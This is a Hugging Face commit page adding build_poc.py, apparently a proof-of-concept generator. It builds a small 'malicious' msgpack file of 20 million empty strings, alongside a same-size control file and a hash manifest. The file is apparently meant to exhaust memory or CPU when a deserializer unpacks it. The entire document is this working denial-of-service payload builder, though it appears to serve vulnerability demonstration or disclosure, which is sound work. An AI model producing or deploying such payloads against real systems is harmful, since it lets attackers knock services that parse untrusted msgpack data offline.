Upload build_poc.py with huggingface_hub
Browse files- build_poc.py +56 -0
build_poc.py
ADDED
|
@@ -0,0 +1,56 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
from __future__ import annotations
|
| 3 |
+
|
| 4 |
+
import hashlib
|
| 5 |
+
import json
|
| 6 |
+
from pathlib import Path
|
| 7 |
+
|
| 8 |
+
import msgpack
|
| 9 |
+
|
| 10 |
+
|
| 11 |
+
ROOT = Path(__file__).resolve().parent
|
| 12 |
+
ARTIFACTS = ROOT / "artifacts"
|
| 13 |
+
ENTRY_COUNT = 20_000_000
|
| 14 |
+
|
| 15 |
+
|
| 16 |
+
def sha256(path: Path) -> str:
|
| 17 |
+
return hashlib.sha256(path.read_bytes()).hexdigest()
|
| 18 |
+
|
| 19 |
+
|
| 20 |
+
def main() -> int:
|
| 21 |
+
ARTIFACTS.mkdir(parents=True, exist_ok=True)
|
| 22 |
+
|
| 23 |
+
malicious = msgpack.packb([""] * ENTRY_COUNT, use_bin_type=True)
|
| 24 |
+
control = msgpack.packb(b"A" * (len(malicious) - 5), use_bin_type=True)
|
| 25 |
+
|
| 26 |
+
control_path = ARTIFACTS / "control_bin32_same_size.msgpack"
|
| 27 |
+
malicious_path = ARTIFACTS / "malicious_array32_empty_strings_20000000.msgpack"
|
| 28 |
+
control_path.write_bytes(control)
|
| 29 |
+
malicious_path.write_bytes(malicious)
|
| 30 |
+
|
| 31 |
+
manifest = {
|
| 32 |
+
"msgpack": msgpack.__version__,
|
| 33 |
+
"entry_count": ENTRY_COUNT,
|
| 34 |
+
"control": {
|
| 35 |
+
"path": str(control_path),
|
| 36 |
+
"size": control_path.stat().st_size,
|
| 37 |
+
"sha256": sha256(control_path),
|
| 38 |
+
"type": "bin32",
|
| 39 |
+
},
|
| 40 |
+
"malicious": {
|
| 41 |
+
"path": str(malicious_path),
|
| 42 |
+
"size": malicious_path.stat().st_size,
|
| 43 |
+
"sha256": sha256(malicious_path),
|
| 44 |
+
"type": "array32",
|
| 45 |
+
"element_count": ENTRY_COUNT,
|
| 46 |
+
"element_value": "",
|
| 47 |
+
},
|
| 48 |
+
"same_size_files": control_path.stat().st_size == malicious_path.stat().st_size,
|
| 49 |
+
}
|
| 50 |
+
(ARTIFACTS / "manifest.json").write_text(json.dumps(manifest, indent=2) + "\n")
|
| 51 |
+
print(json.dumps(manifest, indent=2))
|
| 52 |
+
return 0
|
| 53 |
+
|
| 54 |
+
|
| 55 |
+
if __name__ == "__main__":
|
| 56 |
+
raise SystemExit(main())
|